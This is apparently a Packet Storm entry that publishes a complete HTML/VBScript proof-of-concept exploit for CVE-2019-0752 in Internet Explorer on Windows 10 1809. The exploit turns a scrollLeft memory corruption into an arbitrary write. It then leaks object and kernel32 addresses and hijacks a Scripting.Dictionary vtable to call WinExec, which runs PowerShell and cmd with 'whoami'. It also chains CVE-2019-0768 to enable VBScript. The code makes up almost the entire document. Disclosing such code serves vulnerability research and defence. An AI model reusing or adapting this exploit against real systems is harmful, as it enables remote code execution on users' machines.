Microsoft Internet Explorer Windows 10 1809 17763.316 Memory Corruption

2019-05-24T00:00:00
ID PACKETSTORM:153078
Type packetstorm
Reporter Simon Zuckerbraun
Modified 2019-05-24T00:00:00

Description

                                        
                                            `<!-- Full exploit of ZDI-19-359/ZDI-CAN-7757/CVE-2019-0752 -->  
<!-- Target: Internet Explorer, Windows 10 1809 17763.316 (Feb. 2019 patch level) -->  
<!-- Vulnerability and original exploit technique by Simon Zuckerbraun (@HexKitchen), Mar. 2019 -->  
  
<!-- Tgroupcrew@gmail.com -->  
  
<!-- Demonstrates taking an arbitrary write primitive with no info leak, and using it to get -->  
<!-- all the way to RCE using no shellcode. -->  
  
<!-- Note use of CVE-2019-0768 to get VBScript to run on IE/Win10. -->  
<!-- (h/t: James Forshaw, Google Project Zero) -->  
  
<html>  
<meta http-equiv="x-ua-compatible" content="IE=8">  
<meta http-equiv="Expires" content="-1">  
<body>  
<div id="container1" style="overflow:scroll; width: 10px">  
<div id="content1" style="width:5000000px">  
Content  
</div>  
</div>  
<script language="VBScript.Encode">  
Dim ar1(&h3000000)  
Dim ar2(1000)  
Dim gremlin  
addressOfGremlin = &h28281000  
Class MyClass  
Private mValue  
Public Property Let Value(v)  
mValue = v  
End Property  
Public Default Property Get P  
P = mValue ' Where to write  
End Property  
End Class  
Sub TriggerWrite(where, val)  
Dim v1  
Set v1 = document.getElementById("container1")  
v1.scrollLeft = val ' Write this value (Maximum: 0x001767dd)  
Dim c  
Set c = new MyClass  
c.Value = where  
Set v1.scrollLeft = c  
End Sub  
' Our vulnerability does not immediately give us an unrestricted  
' write (though we could manufacture one). For our purposes, the  
' following is sufficient. It writes an arbitrary DWORD to an  
' arbitrary location, and sets the subsequent 3 bytes to zero.  
Sub WriteInt32With3ByteZeroTrailer(addr, val)  
TriggerWrite addr , (val) AND &hff  
TriggerWrite addr + 1, (val\&h100) AND &hff  
TriggerWrite addr + 2, (val\&h10000) AND &hff  
TriggerWrite addr + 3, (val\&h1000000) AND &hff  
End Sub  
Sub WriteAsciiStringWith4ByteZeroTrailer(addr, str)  
For i = 0 To Len(str) - 1  
TriggerWrite addr + i, Asc(Mid(str, i + 1, 1))  
Next  
End Sub  
Function ReadInt32(addr)  
WriteInt32With3ByteZeroTrailer addressOfGremlin + &h8, addr  
ReadInt32 = ar1(gremlin)  
End Function  
Function LeakAddressOfObject(obj)  
Set ar1(gremlin + 1) = obj  
LeakAddressOfObject = ReadInt32(addressOfGremlin + &h18)  
End Function  
Sub Exploit()  
' Corrupt vt of one array element (the "gremlin")  
TriggerWrite addressOfGremlin, &h4003 ' VT_BYREF | VT_I4  
For i = ((addressOfGremlin - &h20) / &h10) Mod &h100 To UBound(ar1) Step &h100  
If Not IsEmpty(ar1(i)) Then  
gremlin = i  
Exit For  
End If  
Next  
  
If IsEmpty(gremlin) Then  
MsgBox "Could not find gremlin"  
Exit Sub  
End If  
  
For i = 0 To UBound(ar2)  
Set ar2(i) = CreateObject("Scripting.Dictionary")  
Next  
  
Set dict = ar2(UBound(ar2) / 2)  
addressOfDict = LeakAddressOfObject(dict)  
vtableOfDict = ReadInt32(addressOfDict)  
scrrun = vtableOfDict - &h11fc  
kernel32 = ReadInt32(scrrun + &h1f1a4) - &h23c90  
winExec = kernel32 + &h5d380  
  
dict.Exists "dummy" ' Make a dispatch call, just to populate pld  
' Relocate pld to ensure its address doesn't contain a null byte  
pld = ReadInt32(addressOfDict + &h3c)  
fakePld = &h28281020  
For i = 0 To 3 - 1  
WriteInt32With3ByteZeroTrailer fakePld + 4 * i, ReadInt32(pld + 4 * i)  
Next  
  
fakeVtable = &h28282828 ' ASCII "(((("  
For i = 0 To 21  
If i = 12 Then ' Dictionary.Exists  
fptr = winExec  
Else  
fptr = ReadInt32(vtableOfDict + 4 * i)  
End If  
WriteInt32With3ByteZeroTrailer (fakeVtable + 4 * i), fptr  
Next  
  
WriteAsciiStringWith4ByteZeroTrailer addressOfDict, "((((\..\PowerShell.ewe -Command ""<#AAAAAAAAAAAAAAAAAAAAAAAAA"  
WriteInt32With3ByteZeroTrailer addressOfDict + &h3c, fakePld  
WriteAsciiStringWith4ByteZeroTrailer addressOfDict + &h40, "#>$a = """"Start-Process cmd `""""""/t:4f /k whoami /user`"""""""""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"""  
  
On Error Resume Next  
dict.Exists "dummy" ' Wheeee!!  
  
' A little cleanup to help prevent crashes after the exploit  
For i = 1 To 3  
WriteInt32With3ByteZeroTrailer addressOfDict + &h48 * i, vtableOfDict  
WriteInt32With3ByteZeroTrailer addressOfDict + (&h48 * i) + &h14, 2  
Next  
Erase Dict  
Erase ar2  
End Sub  
Exploit  
</script>  
</body>  
</html>  
`